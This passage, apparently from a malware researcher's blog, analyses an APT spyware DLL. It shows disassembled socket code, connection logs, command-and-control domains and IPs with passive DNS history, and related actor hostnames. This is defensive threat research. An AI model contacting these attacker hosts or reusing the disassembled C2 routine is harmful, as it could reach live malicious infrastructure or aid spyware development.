    100105E4 call    ds:connect ; connected to socket
      :
    10010600 push    [ebp+var_8]
    10010603 call    ds:freeaddrinfo
    10010609 mov     esi, ds:setsockopt
    1001060F push    ebx             ; optlen (length)
    10010610 lea     eax, [ebp-1]
    10010613 push    eax             ; optval (value)
    10010614 push    ebx             ; optname
    10010615 push    6               ; level
    10010617 push    edi             ; s
    10010618 mov     [ebp+var_1], bl
    1001061B call    esi ; setsockopt ; pass socket connection parameters
    1001061D push    4               ; optlen
    1001061F lea     eax, [ebp+optval]
    10010622 push    eax             ; optval
    10010623 push    1006h           ; optname
    10010628 push    0FFFFh          ; level
    1001062D push    edi             ; s
    1001062E call    esi ; setsoc
    
    ..this will be resulted in some internal socket binding operation we spotted in the debug mode as:
    Bind IP  Port   Status          (n) HookAddr  API Calls
    --------------------------------------------------------
    0.0.0.0  51902  success  1  100105A3  getaddrinfo
    0.0.0.0  52652  success  1  100105A3  getaddrinfo
    0.0.0.0  57334  success  1  100105A3  getaddrinfo
    0.0.0.0  1209   success  1  100105EA  connect
    0.0.0.0  54643  success  1  100105A3  getaddrinfo
    0.0.0.0  53539  success  1  100105A3  getaddrinfo
    0.0.0.0  54536  success  1  100105A3  getaddrinfo
    0.0.0.0  1210   success  1  100105EA  connect
    0.0.0.0  51696  success  1  100105A3  getaddrinfo
    
    Which one of them is successfully established connection to CNC:
    Bind IP  Port   Status          (n) HookAddr  API Calls
    --------------------------------------------------------
    "91.229.77.179  8008  success" or wait  2  100105EA  connect

    From the reversing section for this DLL (by Raashid), the domains are encoded using single byte move. and can be seen in the below IDA snapshot:

    Which sending the below blobs of binary:

    When I received the result, since I had the report that the CNC was down at the time reversed, I used the local dummy DNS to seek whether the requests was made to those CNC hosts, and is proven:

    Furthermore, using the different method of networking (I won't explain this for the security purpose), I could find the alive connection to the CNC's IP and PoC'ing the blob binary sent to initiate the connection. Noted, again the data matched, the reversing blob binary is actually the CNC sent data used to initiate the CNC communication, as per captured in the PCAP below, same bits:

    Does it means the CNC still alive?
    I am not so sure. It was connected. The CNC "allowed" the bot to send the data to them, yet it was not responding back afterward and let the communication becoming in "pending" stage. So, there is many possibility can be happened, like: CNC is gone, or CNC specs has changed, etc. After all this APT sample is about 6-7months old.
    So please allow me to take a rain check for analysis the blob binary used (still on it..among tons of tasks..). Let's investigate this CNC related network.

    The CNC investigation

    Based on the reverse engineering, forensics & behavior analysis we did, we found the CNC is actually 3 (three) hostnames matched to the 6 (six) IP addresses as per listed below:

    static.jg7.org
    imaps.qki6.com 
    menmin.strezf.com
    
    Which historically are using the below IP addresses:
    8.5.1.38
    64.74.223.38
    208.73.211.66
    91.229.77.179
    124.217.252.186
    212.7.198.211
    
    The first three domains is having a very bad reputation in phishing & malware infection globally. PoC-->[here]

    For the location of these IP are shown in the below details:

    And the period time for each CNC's used subdomains VS IP addresses above can be viewed clearly below:

    first seen 2013-11-01 21:17:45 -0000
    last seen 2013-11-04 05:22:20 -0000
    static.jg7.org. A 8.5.1.41
     
    first seen 2013-10-07 13:10:00 -0000
    last seen 2013-11-18 14:38:32 -0000
    static.jg7.org. A 64.74.223.41
     
    first seen 2013-08-26 10:01:39 -0000
    last seen 2013-10-07 12:34:21 -0000
    static.jg7.org. A 91.229.77.179
     
    first seen 2012-12-17 04:20:19 -0000
    last seen 2013-06-20 05:53:03 -0000
    static.jg7.org. A 124.217.252.186
     
    first seen 2013-06-20 08:00:28 -0000
    last seen 2013-08-26 09:00:42 -0000
    static.jg7.org. A 212.7.198.211
    
    first seen 2013-11-01 21:22:55 -0000
    last seen 2013-11-04 05:24:20 -0000
    imaps.qki6.com. A 8.5.1.38
     
    first seen 2013-10-07 13:10:18 -0000
    last seen 2013-11-18 14:38:38 -0000
    imaps.qki6.com. A 64.74.223.38
     
    first seen 2013-08-26 10:02:05 -0000
    last seen 2013-10-07 12:33:13 -0000
    imaps.qki6.com. A 91.229.77.179
     
    first seen 2012-12-17 04:19:46 -0000
    last seen 2013-06-20 05:52:30 -0000
    imaps.qki6.com. A 124.217.252.186
     
    first seen 2014-01-06 01:21:07 -0000
    last seen 2014-01-11 14:30:44 -0000
    imaps.qki6.com. A 208.73.211.66
     
    first seen 2013-06-20 07:07:43 -0000
    last seen 2013-08-26 09:01:08 -0000
    imaps.qki6.com. A 212.7.198.211
    
    first seen 2013-08-26 10:02:31 -0000
    last seen 2014-08-22 04:06:36 -0000
    menmin.strezf.com. A 91.229.77.179
     
    first seen 2013-10-05 11:54:26 -0000
    last seen 2013-10-07 13:45:55 -0000
    menmin.strezf.com. A 208.91.197.101
     
    first seen 2013-06-20 06:26:33 -0000
    last seen 2013-08-26 09:01:34 -0000
    menmin.strezf.com. A 212.7.198.211
    
    And below is the DNS queries for these hostname (not IP) recorded in the recent terms, thank's to OpenDNS:

    Cross checking various similar samples with the all recorded domains & IPs for the related CNC we found more possibility related hostnames to the similar series of the threat, suggesting the same actor(s), noted the usage of DDNS domains:
    foursquare.dyndns.tv
    neuro.dyndns-at-home.com
    tripadvisor.dyndns.info
    wowwiki.dynalias.net
    yelp.webhop.org
    (there are some more but we are not 100% sure of them yet..is a TBA now..)
    The bully actor(s) who spread this APT loves to hide their domain behind various of services like:
    nsX.dreamhost.com
    nsX.cloudns.net 
    nsXX.ixwebhosting.com
    nsXX.domaincontrol.com
    dnsX.name-services.com
    nsXX.dsredirection.com
    dnsX.parkpage.foundationapi.com
    With noted that these THREE CNC domains used by this sample, are made on this purpose only, and leaving many traceable evidence in the internet that we collected all of those successfully. Trailing every info leaves by this domains: jg7.org, qki6.com. strezf.com will help you to know who is actually behind this attack. Noted: see the time frame data we disclosed above. If there any malware initiators and coders think they can bully others and hide their ass in internet is a BIG FAIL.

    The data is too many to write it all here, by the same method of previous check we can find the relation between results. It is an interesting investigation.

    Samples

    What we analyzed is shared only in KernelMode, link-->[here]
    With thankfully to KM team (rocks!) I am reserving a topic there for the continuation disclosure for same nature of sample and threat.

    The epilogue

    This series of APT attack looks come and go, it was reported back then from 2009. This one campaign looks over, but for some reason that we snipped in above writing, there is no way one can be sure whether these networks used are dead. The threat is worth to investigate and monitor deeper. Some posts are suspecting political background supporting a government mission of a certain group is behind this activities, by surveillance to the targeting victims. Avoiding speculation, what we saw is a spyware effort, with a good quality...a hand-made level, suggesting a custom made malware, and I bet is not a cheap work too. We talked and compare results within involved members and having same thought about this.

    If you received the sample, or, maybe got infected by these series, I suggest to please take a look at the way it was spread, dropped techniques used binaries, and the many camouflage tricks used. Further, for the researchers involved, we should add that the way to hide the CNC within crook's network is the PoC for a very well-thought & clever tricks. We have enough idea for whom is capable to do this, and now is under investigation.

    We are informing to all MMD friends, this investigation is OPEN, please help in gathering information that is related to this threat for the future time frame too, as much as possible. We are opposing whoever group that is backing up this evil operation, and believe me, the dots are started to connect each other..

    We are going to handle the similar threat from now on, so IF you have the abuse case by malware and need the deep investigation of what that malware does, do not hesitate to send us sample, archive the samples and text contains the explanations of how you got the sample and how can we contact you, with the password "infected", and please upload it in this link-->[DropBin].

    Don't use malware, we never believe that any usage of malware can achieve any goodness. We will battle the malware initiators and its coders for the sake to support a better humanity and better internet usage.